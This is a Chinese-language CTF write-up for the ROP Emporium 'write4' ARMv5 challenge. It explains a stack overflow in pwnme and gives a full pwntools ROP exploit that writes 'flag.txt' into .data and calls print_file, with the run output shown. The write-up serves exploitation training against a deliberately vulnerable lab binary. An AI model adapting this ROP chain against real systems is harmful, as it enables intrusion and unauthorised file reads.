存在漏洞的函数pwnme在libwrite4动态库里面,动态库中提供了一个print_file函数,用来打印指定路径的文件内容。因此这道题目的解法就是将字符串传递给print_file函数执行。 pwnme函数还是老样子:
1 2 3 4 5 6 7 8 9 10 11 12 13 int pwnme () { char s[36 ]; setvbuf((FILE *)stdout , 0 , 2 , 0 ); puts ("write4 by ROP Emporium" ); puts ("ARMv5\n" ); memset (s, 0 , 0x20 u); puts ("Go ahead and give me the input already!\n" ); printf ("> " ); read(0 , s, 0x200 u); return puts ("Thank you!" ); }
print_file函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall print_file (const char *a1) { char s[36 ]; FILE *stream; stream = fopen(a1, "r" ); if ( !stream ) { printf ("Failed to open file: %s\n" , a1); exit (1 ); } fgets(s, 33 , stream); puts (s); return fclose(stream); }
利用 函数pwnme中的缓冲区s起始地址在FP-0x24,函数返回地址保存在FP,因此依旧使用0x24个字节填充准备覆盖返回地址。 gadgets需要能够从栈上读取路径字符串到某个特定的地址,由于栈加载地址未知(实际上也是已知),因此将字符串地址写入到.data中。找到如下:
1 2 # ROPgadget --binary write4_armv5 | grep "pop" | grep "str" 0x000105ec : str r3, [r4] ; pop {r3, r4, pc} ; pop {r0, pc}
那么利用方式就是:
将字符串和.data的地址写入到栈上,然后POP到R3和R4中
调用STR指令将字符串写入到.data
从栈上继续POP .data的地址到R0,调用print_file函数
ROP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 rop = b"A" * 0x24 rop += p32(pop_r34_pc) rop += b"flag" rop += p32(addr_of_data) rop += p32(str_r3_r4) rop += b".txt" rop += p32(addr_of_data + 4 ) rop += p32(str_r3_r4) rop += b"AAAA" rop += b"AAAA" rop += p32(pop_r0_pc) rop += p32(addr_of_data) rop += p32(addr_of_print_file)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *BINARY = "./write4_armv5" ELF = ELF(BINARY) context.os = "linux" context.arch = "arm" context.binary = BINARY pop_r34_pc = 0x000105F0 pop_r0_pc = 0x000105F4 str_r3_r4 = 0x000105ec addr_of_data = 0x00021024 addr_of_print_file = 0x000104B0 p = remote("0.0.0.0" , 8888 ) rop = b"A" * 0x24 rop += p32(pop_r34_pc) rop += b"flag" rop += p32(addr_of_data) rop += p32(str_r3_r4) rop += b".txt" rop += p32(addr_of_data + 4 ) rop += p32(str_r3_r4) rop += b"AAAA" rop += b"AAAA" rop += p32(pop_r0_pc) rop += p32(addr_of_data) rop += p32(addr_of_print_file) p.recvuntil(b"> " ) p.sendline(rop) print (p.recvline_contains(b"ROPE" ))
执行结果如下:
1 2 3 4 5 6 7 8 9 10 [*] '/home/utest/rop_practice/armv5/write4_armv5/write4_armv5' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000) RUNPATH: b'.' [+] Opening connection to 0.0.0.0 on port 8888: Done b'ROPE{a_placeholder_32byte_flag!}' [*] Closed connection to 0.0.0.0 port 8888